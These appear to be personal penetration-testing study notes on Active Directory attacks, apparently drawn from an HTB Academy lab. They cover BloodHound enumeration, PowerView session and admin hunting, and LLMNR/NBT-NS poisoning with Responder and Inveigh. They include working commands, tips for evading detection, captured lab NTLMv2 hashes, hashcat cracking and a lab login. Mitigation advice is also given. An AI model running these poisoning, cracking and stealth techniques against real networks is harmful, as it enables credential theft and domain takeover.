Attacks + Lateral Movement
BloodHound
What is BloodHound?
BloodHound is a graph-based Active Directory analysis tool.
It answers one scary-good question:
“Given what I control right now, how can I become Domain Admin?”
It doesn’t “hack” by itself — it maps relationships and permissions that already exist in AD and shows attack paths humans miss.
Big Picture Architecture
[ Active Directory ]
↑
(Data Collection)
↑
SharpHound (Collector)
↑
JSON Data
↑
BloodHound UI (Graph DB)
↓
Attack Path Analysis
So BloodHound =
📦 Collector + 🧠 Graph Engine + Queries
The collector is called SharpHound.
🔸 What it Collects:
Users and Group memberships
Logged-in sessions
Local administrator rights
Computer objects
ACLs (Access Control Lists) on AD objects
RDP, DCOM, PSRemoting access rights
Domain trusts
🔸 Methods of Collection:
LDAP queries (for users, groups, ACLs)
SMB/NetSessionEnum (for session info)
Remote registry (to find local admins)
RPC (to pull trust relationships, ACLs, etc.)
📌 It can be run from a low-privilege domain user account and does not need admin in most cases.
How BloodHound Gets Its Data (Deep Technical View)
BloodHound does not exploit vulnerabilities.
It uses legitimate Windows & AD APIs — exactly what admins and helpdesk tools use.
1️⃣ LDAP Queries (Core AD Info)
BloodHound queries LDAP on Domain Controllers to enumerate:
Users
Groups
Computers
Group memberships
OU structure
ACLs (permissions)
Example concept (not real code):
LDAP query: (objectClass=user)
This builds the AD object graph.
2️⃣ Security Descriptors (ACL & Delegation Abuse)
This is where BloodHound gets dangerous.
Every AD object has an ACL:
Who can reset passwords
Who can write group membership
Who can modify SPNs
Who can add logon scripts
Who has GenericAll / WriteDACL / WriteOwner
BloodHound parses:
ntSecurityDescriptorACE entries
Then maps relationships like:
UserA → (GenericWrite) → GroupB
GroupB → (MemberOf) → Domain Admins
Which becomes:
UserA → Domain Admins (attack path)
3️⃣ Session Enumeration (Who is Logged In Where)
This is huge for lateral movement.
SharpHound queries:
SMB session info
Logged-on users
Cached credentials
Local admin rights
So it learns:
UserA is local admin on PC1
DomainAdmin is logged into PC1
That becomes:
Compromise PC1 → steal DA creds
4️⃣ Local Admin Mapping
SharpHound enumerates:
Local Administrators group on machines
Which domain users/groups are admins on which hosts
This reveals:
If I compromise this low-privilege user, I control 45 machines.
5️⃣ Group Policy Enumeration
BloodHound collects:
Which users can edit GPOs
Which machines a GPO applies to
Who can modify scripts deployed by GPO
This finds:
UserX can modify a GPO that applies to Domain Controllers.
That’s basically domain takeover waiting to happen.
6️⃣ Trust Relationships
BloodHound maps:
Forest trusts
Domain trusts
Directionality
Transitivity
So it can find attack paths like:
Low-priv user in ChildDomain → control object in ParentDomain → Domain Admin
Why BloodHound is So Powerful
Because AD is not hierarchical — it’s a graph of relationships.
Humans think:
“Admins are powerful, users are not.”
BloodHound shows:
“This intern can become Domain Admin in 4 hops.”
Example Attack Path (Realistic)
UserA
↓ (WriteSPN)
ServiceAccount
↓ (MemberOf)
IT Support Group
↓ (LocalAdmin)
Server01
↓ (Logged-on)
DomainAdmin
So:
Compromise UserA → Own Domain
No exploit needed.
Just bad permissions + graph traversal.
How BloodHound Finds Attack Paths (Internals)
BloodHound loads data into a graph database (Neo4j style model).
Nodes:
Users
Groups
Computers
GPOs
Edges:
MemberOf
AdminTo
HasSession
GenericWrite
CanRDP
CanResetPassword
WriteDACL
Then it runs prebuilt Cypher queries like:
“Shortest path from any user to Domain Admins”
This is literally graph theory applied to Active Directory.
Note:- Avoid using bloodhound unless it is extremely necessary because it tries to collect to data in short interval of time which can flagged as suspicious can detected easily.
These kinds of alerts are raised if bloodhound is used.
For stealthy option instead of bloodhound you can use shoaphound.
LDAP vs LDAPS – which one does BloodHound use?
Answer: It uses both, depending on what the environment allows.
LDAP (389) → default in many internal networks
LDAPS (636) → used if:
- The DC supports it
- The client is configured for secure LDAP
- TLS is available
🔹 BloodHound / SharpHound doesn’t require LDAPS.
🔹 It will happily pull data over plain LDAP if that’s what AD allows.
So: it uses whatever the domain exposes — LDAP first, LDAPS if available.
Can a normal domain user collect “everything”?
✅ Yes — shockingly, yes (mostly).
With a standard domain user, you can collect:
Users
Groups
Group memberships
Computers
OU structure
ACLs on AD objects
GPO permissions
Trust relationships
Many delegation rights
Because Active Directory is designed to be readable by authenticated users.
⚠️ What you can’t fully collect as a normal user:
Some session info on locked-down machines
Some local admin mappings (if SMB/RPC is blocked)
Some privileged ACL details if hardened
But in most real-world domains, a low-priv user still gets more than enough to build attack paths.
So your statement:
“with normal priv user its possible to collect entire data right ??”
👉 Yes, enough data to map real attack paths.
BloodHound vs SharpHound (Linux vs Windows)
You’re correct:
SharpHound
→ Windows-based collector (EXE, PS1, etc)
BloodHound (Linux / cross-platform collectors)
→ Uses LDAP + RPC + SMB from Linux/macOS
Both collectors:
✅ Enumerate AD
✅ Output JSON files
So yes:
bloodhound (Linux) / sharphound (Windows) both produce
.json
Correct.
Neo4j + BloodHound GUI – Graph Creation
Your flow is exactly right:
Collector (SharpHound / BloodHound.py)
↓
JSON Files
↓
Import into BloodHound GUI
↓
Neo4j Graph Database
↓
Attack Path Queries
BloodHound UI uses:
Neo4j
to store nodes and edges:
Nodes:
Users
Groups
Computers
GPOs
Edges:
MemberOf
AdminTo
HasSession
CanRDP
GenericWrite
WriteDACL
etc.
Once imported, BloodHound runs graph queries like:
“Shortest path from any user to Domain Admins”
And boom — instant attack paths.
Tiny Clarifications (Pro-Level Accuracy)
✔️ LDAP is for:
Users
Groups
ACLs
Trusts
GPO links
✔️ SMB / RPC / WinRM are used for:
Session enumeration
Local admin mapping
Logged-on users
So BloodHound is not only LDAP — LDAP is the backbone, but host-level info uses other Windows protocols.
Local Admin Hunting
Find all machines on the current domain where the current user has local admin access
Find-LocalAdminAccess -Verbose
• This function queries the DC of the current or provided domain for a list of computers (***Get-
NetComputer) and then use multi-threaded Invoke-CheckLocalAdminAccess*** on each
machine.
• This can also be done with the help of remote administration tools like WMI and PowerShell
remoting. Pretty useful in cases ports (RPC and SMB) used by Find-LocalAdminAccess are
blocked.
• See Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1
Note:- This command Find-LocalAdminAccess -Verbose is very noisy as they you will run this you leave 4624(logon) and 4634(logoff) security events ids and you will get admin access on any device then you will also leave 4672(admin logon) on machine and login are created on every device which will cause the spike in the logs and it is sufficient to raise the alert
Explaination:
The Find-LocalAdminAccess command attempts to connect to each machine in the domain (via SMB, RPC, or admin shares) to check whether the current user has local administrator access.
🧠 What Happens Internally
For each host, it tries to:
Authenticate via SMB (to
\\<hostname>\C$)Access the remote system
Check for local admin privileges
This activity triggers authentication and logon attempts on every machine it contacts — even if access is denied.
📜 Security Logs Generated (Per Host)
C$ are accessed |Safer Alternatives for Stealth (Less Noisy)
Find-WMILocalAdminAccess.ps1 | Uses WMI (DCOM) — still leaves 4624 but quieter |Find-PSRemotingLocalAdminAccess.ps1 | Uses WinRM; stealthier if WinRM is trusted |Invoke-CheckLocalAdminAccess | Use on specific high-value targets, not full subnet scan |🧾 Summary
✔️ Yes, Find-LocalAdminAccess -Verbose is very noisy and should be avoided in stealth red team operations.
✔️ It triggers 4624, 4634, and 4672 logs for every machine scanned.
✔️ On a large domain, this creates a clear alert signature visible in SIEM and EDR tools.
✔️ Safer alternatives like WMI, PSRemoting, or BloodHound are preferable for stealth.
Find computers where a domain admin (or specified user/group) has active sessions:
Find-DomainUserLocation -Verbose - helps identify computers where domain administrators (or specified users/groups) have active sessions
Find-DomainUserLocation -UserGroupIdentity "RDPUsers"
• This function queries the DC of the current or provided domain for members of the
given group (Domain Admins by default) using Get-DomainGroupMember, gets a
list of computers (Get-DomainComputer) and list sessions and logged on users
(Get-NetSession/Get-NetLoggedon) from each machine.
Note:- for Server 2019 and onwards, local administrator privileges are required
to list sessions. without privilege you will get error message as shown below
Find computers where a domain admin session is available and current user has admin access (uses Test-AdminAccess).
Find-DomainUserLocation -CheckAccess
**Find computers (File Servers and Distributed File servers) where a domain
admin session is available.**
Find-DomainUserLocation -Stealth
Note:- Later it was rediscovered that using tools like Invoke-SessionHunter it is possible to list session on Remote Registry. so this tool will show admin sessions on remote machine even though you dont have local admin priviledge
List sessions on remote machines( https://github.com/Leo4j/Invoke-SessionHunter)
***Invoke-SessionHunter -FailSafe***
• Above command doesn’t need admin access on remote machines. Uses
Remote Registry and queries HKEY_USERS hive.
An opsec friendly command would be (avoid connecting to all the target machines by specifying targets)
Invoke-SessionHunter -NoPortScan -Targets C:.txt
Note:- Above commands will only work if the remote registry is enabled on remote server, however it is remote registry is enabled by default on server, if it is enabled but stopped then querying it will start it again
LLMNR/NBT-NS Poisoning
Understanding The Core Concept
🎯 What is mDNS?
Definition
mDNS = Multicast Domain Name System
Allows hosts to resolve names without a DNS server.
Instead of:
Client → DNS Server → Answer
Uses:
Client → Multicast Everyone → Owner Replies
🎯 Why Was mDNS Created?
Problem
Traditional DNS requires:
✔ DNS Server
✔ DNS Records
✔ Infrastructure
Example:
printer.company.com
requires:
DNS Server
↓
A Record
↓
IP Address
But What About?
🏠 Home Networks
📺 Smart TVs
🖨 Printers
📱 Phones
🎮 Gaming Consoles
💡 IoT Devices
Most don’t have internal DNS infrastructure.
Need:
Automatic Discovery
without configuration.
🎯 RFC
mDNS:
RFC 6762
Often paired with:
DNS-SD (Service Discovery)
RFC 6763
🎯 Protocol Details
🎯 Important Concept
mDNS is:
❌ Not Broadcast
✔ Multicast
Broadcast
Sent to:
255.255.255.255
Everyone receives.
Multicast
Sent to:
224.0.0.251
Only hosts subscribed to mDNS receive it.
Think:
Broadcast = Loudspeaker
Multicast = Group Chat
Key Difference Visualization
Broadcast (255.255.255.255):
Host A → [ALL HOSTS] ← Host B, C, D, E, F...
(Everyone gets it)
Multicast (224.0.0.1):
Host A → [GROUP 224.0.0.1] ← Only subscribed: B, D, F
(Only interested hosts)
🎯 Main Components
1️⃣ Requesting Host
Needs resolution.
Example:
Windows Laptop
wants:
printer.local
2️⃣ Multicast Group
All mDNS devices join:
224.0.0.251
3️⃣ Target Host
Owns:
printer.local
and listens on:
UDP 5353
🎯 Typical Flow
Network:
Windows
192.168.1.20
Printer
192.168.1.50
Smart TV
192.168.1.60
🎯 Why “.local” Matters
mDNS almost always uses:
.local
Examples:
printer.local
nas.local
raspberrypi.local
iphone.local
When OS Sees
printer.local
It immediately thinks:
Use mDNS
instead of traditional DNS.
What is LLMNR ??
LLMNR (Link-Local Multicast Name Resolution) is a Windows name-resolution fallback.
When a machine can’t resolve a hostname using DNS, it asks the local network:
“Hey everyone, who is
fileserver01?”
This broadcast behavior is the core weakness.
Windows uses:
DNS (normal)
If DNS fails → LLMNR
Sometimes NetBIOS (NBT-NS) as well
These protocols are unauthenticated by default.
Why LLMNR Poisoning Works
LLMNR trusts the first response it receives.
Attackers on the same network can lie and say:
“That name? Yeah that’s me.”
Then your machine sends authentication data to the attacker.
✅ 1. Name Resolution Order in Windows (AD Environment)
When a Windows machine tries to resolve a hostname (e.g., INTERNAL-SERVER), it follows a strict resolution order:
➤ Step 1 — Check Local Cache
Windows checks:
✔ DNS Resolver Cache
Use:
ipconfig /displaydns
If the entry exists → Stops here.
➤ Step 2 — Check the HOSTS file
Path:
C:\Windows\System32\drivers\etc\hosts
If hostname matches → Resolved locally.
✔ HOSTS file entries override DNS
✔ Frequently abused during privilege escalation
➤ Step 3 — Send a DNS Query
Windows queries the DNS server configured in NIC:
Example:
Domain joined PC → queries Domain Controller DNS
Non-domain PC → queries router or ISP DNS
If DNS resolves → Done.
If DNS fails, Windows checks additional fallback methods depending on the query type (FQDN or non-FQDN).
#️⃣ Summary of Exact Name Resolution Order
Here is Windows name resolution order exactly as implemented:
✔ Yes, LLMNR → NetBIOS → WINS is the fallback chain.
🔥 2. LLMNR (Link-Local Multicast Name Resolution)
✔ Purpose:
A fallback name-resolution protocol used when:
DNS fails
Query is non-FQDN
Host is on the same local subnet
✔ Protocol details:
Port 5355 UDP/TCP
Works via IPv6 and IPv4 multicast
No authentication → easy to spoof
This is what tools like Responder exploit.
Windows has LLMNR enabled by default unless:
Group Policy disables it
Security hardening is applied
So you do NOT need to enable it.
It’s always already running → hence LLMNR poisoning possible.
🔥 3. NetBIOS Name Service (NBT-NS)
If DNS + LLMNR fail, Windows sends a NetBIOS broadcast:
✔ Used on:
UDP 137 (NBNS)
UDP 138 (Browser)
TCP 139 (Session)
✔ Behavior:
Entire LAN receives the broadcast
Any host can reply ← attacker can spoof response
LLMNR → newer
NetBIOS → older but still widely enabled
Important:
✔ NetBIOS is ENABLED by default on Windows.
✔ Only disabled if:
Network Adapter setting “Disable NetBIOS over TCP/IP” is applied
GPO overrides it
🧠 4. Why LLMNR/NetBIOS Poisoning Works
Because Windows behavior is:
DNS fails for something (typo, missing DFS entry, broken UNC path)
Windows tries LLMNR
Attacker replies faster than the real host
Victim sends NTLM authentication to attacker
Attacker captures:
- NTLMv2 hashes
- Usernames
- Sometimes challenge/response → relay to SMB/LDAP
Example attack:
sudo responder -I eth0
Attacker receives something like:
User: CORP\john.doe
Hash: NTLMv2 hash captured
🧭 5. Full Example: How Name Resolution Happens
Suppose a Windows user enters:
\\fileserver01\backup
❌ DNS lookup fails
Because “fileserver01.corp.local” does not exist.
Windows then:
Tries LLMNR
→ Sends multicast query
→ Attacker replies “I am fileserver01”
Victim sends NTLM authentication to attacker
If LLMNR disabled → fallback to NetBIOS:
- Sends NetBIOS broadcast
→ Attacker fakes response
→ Victim sends NTLM auth again
This is the LLMNR/NetBIOS poisoning attack.
✅ What Responder Does (Conceptually – defensive understanding)
When LLMNR or NetBIOS sends out:
“Who is FILESERV01?”
Your attacker tool (like Responder) pretends to be that server and answers:
“That’s me.”
The victim machine believes it and tries to connect.
✅ What the Victim Sends
When the victim connects, Windows automatically attempts authentication using NTLM:
DOMAIN\user
NTLMv2 challenge-response hash
So yes — the victim tries to authenticate to your fake server.
✅ What the Attacker Gets
You don’t get the password in plain text.
You get an NTLMv2 hash, which can be:
Cracked offline (brute-force / wordlists)
Relayed to real servers (NTLM relay attack)
So your statement:
“we check the NTLM hash of that user”
🛡️ 6. How to Check LLMNR/NetBIOS Status
✔ Check LLMNR
Get-NetAdapterBinding -ComponentID ms_llmnr
✔ Check NetBIOS
Go to:
Network Adapter → IPv4 → Advanced → WINS → NetBIOS
Why is mDNS considered safer than LLMNR/NBT-NS?
✔ Uses multicast instead of broadcast.
✔ Primarily designed for local service discovery.
✔ Usually resolves .local devices rather than SMB resources.
✔ Does not commonly trigger automatic NTLM authentication.
✔ Therefore it is far less useful for NTLMv2 hash-capture attacks.
📌 Final Simplified Flow
Name Resolution
│
├─ Hosts File
├─ DNS Cache
├─ DNS Server
│
└─ DNS Failed
│
├─ LLMNR (UDP 5355)
├─ NetBIOS (UDP 137)
└─ mDNS (UDP 5353)
➡️ LLMNR and NetBIOS work automatically — attacker does NOT need to enable anything.
➡️ They act as DNS fallback for non-FQDN queries when DNS fails
.
Linux
🔍 Objective
Goal: Capture NetNTLMv2 password hashes by poisoning LLMNR and NBT-NS broadcasts using Responder, to eventually crack them and gain a foothold in the Active Directory domain.
🧭 Overview
Both protocols provide fallback mechanisms when traditional DNS resolution fails. They work on local network segments, and are vulnerable to spoofing attacks because any host can respond to the request, even malicious ones.
📦 Purpose of LLMNR/NBT-NS
🌐 Why do these protocols exist?
In many enterprise environments, DNS is not always up to date or complete.
Users may mistype hostnames.
Legacy applications or systems still rely on NetBIOS.
LLMNR and NBT-NS act as “Plan B” name resolution methods.
🔗 LLMNR - Link-Local Multicast Name Resolution
🧩 Key Characteristics:
📥 LLMNR Workflow:
A system (e.g., victim) tries to access a host:
CopyEdit \\internalfileserverDNS query is sent → Fails (no entry for
internalfileserver).LLMNR sends a multicast query to IPv4 224.0.0.252 or IPv6 FF02::1:3 on UDP port 5355:
arduino Who has internalfileserver?"Any machine on the subnet can respond:
"I am internalfileserver – my IP is 10.0.0.100"Victim believes the response and connects.
📛 NBT-NS - NetBIOS Name Service
🧩 Key Characteristics:
📥 NBT-NS Workflow:
DNS fails for a NetBIOS-formatted hostname (e.g.,
\\FILESHARE01).Client sends NetBIOS Name Query Request via broadcast on UDP port 137.
Query is like:
"Is anyone FILESHARE01?"Any system on the network can reply:
"Yes, I am FILESHARE01. Here's my IP."Client connects to the responding host.
🚨 Security Flaw in Both Protocols
🕳️ What’s the Vulnerability?
No authentication or verification of the responder.
Any attacker on the same broadcast domain can spoof a response.
Clients blindly trust the first reply they receive.
This makes it ideal for Man-in-the-Middle (MITM) attacks.
🎯 Real-World Exploitation Workflow
🧪 LLMNR/NBT-NS Poisoning (e.g., with Responder)
\\fileshare01 |🧠 Differences Between LLMNR & NBT-NS
host.domain.local) | NetBIOS-style (HOSTNAME) |🧪 Quick Example – LLMNR/NBT-NS Poisoning Flow (with Responder)
🖥️ Step 1: User Mistypes a Hostname
User Action: Tries to access a network share:
\\printer01.inlanefreight.localMistake: The actual hostname should have been
\\print01.inlanefreight.local.
⚠️ Since the user typed the wrong hostname, the system cannot resolve it via DNS.
🌐 Step 2: DNS Fails to Resolve
- DNS Query Sent: The OS sends a DNS query for
printer01.inlanefreight.local.
DNS Server Response:
"Sorry, I don’t know that hostname." (NXDOMAIN)
🧠 Windows, by default, tries fallback name resolution protocols like LLMNR and NBT-NS if DNS fails.
📡 Step 3: LLMNR/NBT-NS Broadcast Issued
Client (victim) system now sends a broadcast:
For LLMNR: multicast on UDP port 5355
For NBT-NS: broadcast on UDP port 137
Example LLMNR message:
"Hey, does anyone know where \\printer01.inlanefreight.local is?"
These messages go to every host on the local subnet.
👹 Step 4: Attacker (Responder) Responds
- Attacker’s Role: A rogue machine on the same network has Responder running.
Responder’s Reaction:
"Yes! I’m \\printer01.inlanefreight.local. Here’s my IP: 10.10.10.200"
- The victim receives this fake reply and trusts it because the protocol does not verify authenticity.
✅ Poisoning successful: The victim is tricked into connecting to the attacker.
🔐 Step 5: Authentication Attempt Sent
The victim initiates an authentication attempt assuming it’s talking to a legitimate resource.
Sends NetNTLMv2 hash to attacker over SMB.
Contents:
- Username
- Domain
- NetNTLMv2 hash (based on user password)
🧠 The password hash is captured without needing any brute-force login attempts on the victim machine.
🧩 Step 6: Use the Hash
The captured NTLMv2 hash can be used in two major ways:
1. 🧠 Offline Cracking (using Hashcat or John)
Tool:
hashcat -m 5600orjohn --format=netntlmv2If cracked → you get the cleartext password.
2. 🛠️ SMB Relay Attack (under right conditions)
- If SMB Signing is not enforced, you can relay the hash to another host:
- Authenticate as the user
- Execute commands
- Potentially gain full access to systems
🧾 Summary Table
🛡️ Defense Tips
❌ Disable LLMNR/NBT-NS via Group Policy or registry.
✅ Enforce SMB signing to prevent SMB relay.
🔒 Monitor for broadcast spoofing using tools like Zeek, Defender ATP.
🚨 Vulnerability:
When these protocols are used, any machine can reply to the query. This lets an attacker impersonate the legitimate system and capture authentication requests.
🧪 Attack Flow Example
Victim mistypes
\\printer01.inlanefreight.local.DNS fails, so the machine broadcasts an LLMNR/NBT-NS request.
Responder (attacker) responds, claiming to be that host.
Victim sends credentials (NetNTLMv2 hash) to attacker.
Attacker can crack hash offline or relay it to access services.
🛠️ Tools Used
⚙️ Responder Options and Usage
🔧 Help Output (Summary)
bash
CopyEdit
responder -h
-A | Analyze mode (passive listening). |-I | Network interface to use (ens224, eth0, etc.). |-w | Enable WPAD rogue proxy. |-r | Respond to NetBIOS wredir suffix. |-f | Fingerprint host that issued LLMNR/NBT-NS query. |-v | Verbose output. |-P | Force proxy authentication. |-F | Force Basic/NTLM authentication on WPAD. |✅ Basic Active Mode Usage
bash
CopyEdit
sudo responder -I ens224 -wrf
I ens224→ Interface to listen on.w→ Start rogue WPAD proxy.r→ Respond to NetBIOS suffix queries.f→ Attempt host fingerprinting.
🪪 Sample Passive Mode (Earlier Phase)
bash
CopyEdit
sudo responder -I ens224 -A
Listen silently for analysis of LLMNR/NBT-NS broadcasts.
No responses sent — good for initial observation.
📁 Responder Output: Log Files
Logs are stored in:
/usr/share/responder/logs/
SMB-NTLMv2-SSP-172.16.5.25.txt | NTLMv2 hash over SMB from 172.16.5.25 |HTTP-NTLMv2-172.16.5.200.txt | NTLMv2 hash over HTTP from 172.16.5.200 |🔓 Cracking Captured NTLMv2 Hash with Hashcat
🖥️ Command
bash
hashcat -m 5600 captured_hash /usr/share/wordlists/rockyou.txt
-m 5600 | Hash mode for NetNTLMv2 |captured_hash | The actual hash or hash file |rockyou.txt | Common password wordlist |🧪 Sample NTLMv2 Hash Format
ruby
CopyEdit
FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80...:Klmcargo2
FOREND= UsernameINLANEFREIGHT= DomainKlmcargo2= Cracked password
🧾 Sample Output Breakdown
text
CopyEdit
Status...........: Cracked
Recovered........: 1/1 (100.00%)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Hash.Name........: NetNTLMv2
Candidates.......: L0VEABLE -> Kittikat
🎯 Meaning:
Hash successfully cracked.
Password = Klmcargo2
Can now login using these credentials (if user is valid in the domain).
🧨 Required Open Ports on Attacker System (for Responder)
To fully operate, the following ports should be available:
🪪 Use Cases After Cracking Hashes
Foothold in domain using cracked user credentials.
Lateral movement via:
- SMB relay
- Pass-the-Hash (if applicable)
Identify if user has privileged access (Admin, Domain Admin, etc.).
🧠 Tips
Start Responder in a tmux window and let it run passively.
Collect as many hashes as possible before cracking.
Use Hashcat examples page to identify hash modes:
https://hashcat.net/wiki/doku.php?id=example_hashes
🔄 Recap of Flow
Windows
🚩 Attack Workflow (Windows Inveigh-Based LLMNR/NBT-NS Poisoning)
🎯 Goal: Trick Windows hosts into sending NTLMv2 hashes to you.
1. Import Inveigh in PowerShell
powershell
PS> Import-Module .\Inveigh.ps1
PS> Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
✅ Enables both LLMNR and NBNS spoofing
✅ Outputs results to console and
C:\Toolsas file✅ Starts capturing authentication attempts
2. Victim Host Misresolves a Name
Victim types:
\\wrongprinterDNS fails → Windows falls back to LLMNR/NBT-NS
Broadcast sent on:
- UDP 5355 (LLMNR)
- UDP 137 (NBT-NS)
3. Inveigh Replies with Fake Response
Sends back: “Yes, I’m ”
Victim trusts Inveigh (no validation)
Starts SMB negotiation
4. NTLM Authentication Triggered
Victim sends NTLMv2 authentication request
Inveigh captures:
- Username
- Domain
- NTLMv2 hash
5. Captured Hash Displayed
backupagent::INLANEFREIGHT:B501...:16A41B703C8D4F8F...:0101...long_hash...
✅ Saved in
C:\Tools✅ Can run
GET NTLMV2UNIQUEto filter one hash per user✅ Can use
Hashcat/Johnto crack
🧮 Sample Output of C# Inveigh (CLI-based)
powershell
CopyEdit
PS> .\Inveigh.exe
[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276]
[+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[ ] DHCPv6
[+] DNS Packet Sniffer [Type A]
[ ] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[ ] MDNS
[ ] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[ ] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[ ] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Packet Sniffer [Port 445]
[+] File Output [C:\Tools]
[+] Previous Session Files (Not Found)
👉 Press ESC for interactive console. Then type:
bash
CopyEdit
GET NTLMV2USERNAMES
GET NTLMV2UNIQUE
GET CLEARTEXT
STOP
🧑💻 Post-Capture Actions
- Offline Cracking (Hashcat):
bash
CopyEdit
hashcat -m 5600 hashfile.txt wordlist.txt
- Username Collection (for spraying):
bash
CopyEdit
GET NTLMV2USERNAMES
- Cleartext Credential Retrieval (if Basic Auth is used):
bash
CopyEdit
GET CLEARTEXT
- Stop the tool:
bash
CopyEdit
STOP
🔐 Remediation & Mitigation
Turn off multicast name resolution (DNS Client policy) |Disable NetBIOS |NetbiosOptions registry key |NBT-NS cannot be disabled via Group Policy but must be disabled locally on each host. We can do this by opening Network and Sharing Center under Control Panel, clicking on Change adapter settings, right-clicking on the adapter to view its properties, selecting Internet Protocol Version 4 (TCP/IPv4), and clicking the Properties button, then clicking on Advanced and selecting the WINS tab and finally selecting Disable NetBIOS over TCP/IP.
While it is not possible to disable NBT-NS directly via GPO, we can create a PowerShell script under Computer Configuration –> Windows Settings –> Script (Startup/Shutdown) –> Startup with something like the following:
PoC
Linux
Step 1 - ssh to the machine
Step 2 - start the responder
sudo responder -I ens224
Hashes retrieved
[SMB] NTLMv2-SSP Client : 172.16.5.130
[SMB] NTLMv2-SSP Username : INLANEFREIGHT\backupagent
[SMB] NTLMv2-SSP Hash : backupagent::INLANEFREIGHT:7aeda7e2c0eec49c:5B9E44BF879A1ECF1598773B7D1C3A1D:010100000000000000381425CDF7DB01B79DE4147C39B73A0000000002000800580044005A00320001001E00570049004E002D0035004D004E005100490031004F004B0057003000380004003400570049004E002D0035004D004E005100490031004F004B005700300038002E00580044005A0032002E004C004F00430041004C0003001400580044005A0032002E004C004F00430041004C0005001400580044005A0032002E004C004F00430041004C000700080000381425CDF7DB0106000400020000000800300030000000000000000000000000300000071351CF47737C3B73A44B92AEF26BD7694C35C5E25078272547CF1771703B700A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0035002E003200320035000000000000000000
Step 3 - analyze responder log files
cd /usr/share/responder/logs
SMB] NTLMv2-SSP Client : 172.16.5.130
[SMB] NTLMv2-SSP Username : INLANEFREIGHT\wley
[SMB] NTLMv2-SSP Hash : wley::INLANEFREIGHT:60f1421f59e729b5:FE94D6BD1015C5C50F65160D77552CF3:010100000000000000381425CDF7DB01B7BC45A1DFCF30690000000002000800580044005A00320001001E00570049004E002D0035004D004E005100490031004F004B0057003000380004003400570049004E002D0035004D004E005100490031004F004B005700300038002E00580044005A0032002E004C004F00430041004C0003001400580044005A0032002E004C004F00430041004C0005001400580044005A0032002E004C004F00430041004C000700080000381425CDF7DB0106000400020000000800300030000000000000000000000000300000071351CF47737C3B73A44B92AEF26BD7694C35C5E25078272547CF1771703B700A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0035002E003200320035000000000000000000
Step 4 - crack it using hashcat
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Windows
Step 1 - rdp to windows machine
xfreerdp /u:htb-student /p:‘Academy_student_AD!’ /v:10.129.125.31 /cert-ignore /bpp:8 /network:modem /compression -themes -wallpaper /clipboard /audio-mode:1 /auto-reconnect -glyph-cache /dynamic-resolution
Step 2 - run inveigh.exe
Step 3 - since it stores the output on current directory
Step 4 - crack it using hashcat
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Mitigation
✅ 1. Disable LLMNR (Best fix)
Group Policy:
Computer Configuration
→ Administrative Templates
→ Network
→ DNS Client
→ Turn off multicast name resolution = Enabled
✅ 2. Disable NetBIOS Name Resolution
Via DHCP or local adapter settings.
✅ 3. Enforce SMB Signing
Prevents NTLM relay attacks.
✅ 4. Use DNS properly
No stale records
No missing DNS entries
Avoid short hostnames
✅ 5. Network segmentation
Separate guest, workstation, and server VLANs
Prevent attackers from sitting next to users
✅ 6. Monitor for Poisoning Behavior
Security teams look for:
Multiple LLMNR responses
Machines answering name requests they shouldn’t
Abnormal NTLM authentication attempts
Quick Mental Model
LLMNR poisoning = “Whoever shouts first gets trusted.”
On a flat internal network, that’s a gift to attackers.
🛡️ Mitigation
1. Disable LLMNR
GPO:
Computer Configuration
→ Administrative Templates
→ Network
→ DNS Client
→ Turn Off Multicast Name Resolution = Enabled
2. Disable NetBIOS over TCP/IP
NIC → IPv4 → Advanced → WINS → Disable NetBIOS
3. Use SMB Signing
Stops NTLM relay attacks.
4. Strong passwords + NTLMv2 only
Slows offline cracking.
SMB / NTML Relay Attacks
How Signining Stops The Attack
🔥 SMB Signing — Definition (Clean)
👉 SMB Signing = cryptographic integrity mechanism for SMB communication
It ensures:
✔ Packet not modified
✔ Sender knows session key (authentication continuity)
⚙️ SMB Signing Modes (IMPORTANT)
🔐 How SMB Signing is Configured (REAL WORLD)
🖥️ On Windows (Group Policy)
Path:
Computer Configuration
→ Windows Settings
→ Security Settings
→ Local Policies
→ Security Options
🔑 Key Policies
1. Server-side
Microsoft network server: Digitally sign communications (always)
- Enabled → Signing REQUIRED
2. Client-side
Microsoft network client: Digitally sign communications (always)
🧠 Practical Meaning
🔍 Check SMB Signing (Pentest)
🧪 Using Nmap
nmap --script smb2-security-mode -p445 <target>
📦 Output
SMB2 Security Mode:
2.02:
Message signing enabled but not required
OR
Message signing required
🔥 Interpretation
🧠 1. Do BOTH sides really have the same key?
👉 YES — but they don’t exchange it
They derive it independently using:
Shared Secret (NT hash) + NTLM exchange data
🔐 2. Where does the “shared secret” come from?
👉 For domain authentication:
🔥 Important
👉 YES — ALL domain objects have credentials
WIN10$) | ✅ Yes |DC01$) | ✅ Yes |🧠 Example
WIN10$ account → has password → stored in AD → NT hash exists
👉 That’s why machine authentication works
⚙️ 3. Step-by-Step: How BOTH derive Session Key
🧩 Step 1: Server sends challenge
Server → Client: Challenge (random nonce)
🧩 Step 2: Client computes response
NTLMv2 Response = HMAC(NT Hash, Challenge + blob)
Sends:
Client → Server: AUTHENTICATE
🧩 Step 3: Server verifies
Server:
Uses stored NT hash
Recomputes response
Matches → auth success
🔑 Step 4: Session Key derivation (IMPORTANT)
Now BOTH compute:
SessionKey = HMAC(NT Hash, NTLMv2 Response)
👉 Same inputs → same output
🧠 Result
🔐 4. How SMB Signing Uses This Key
📦 For each SMB packet:
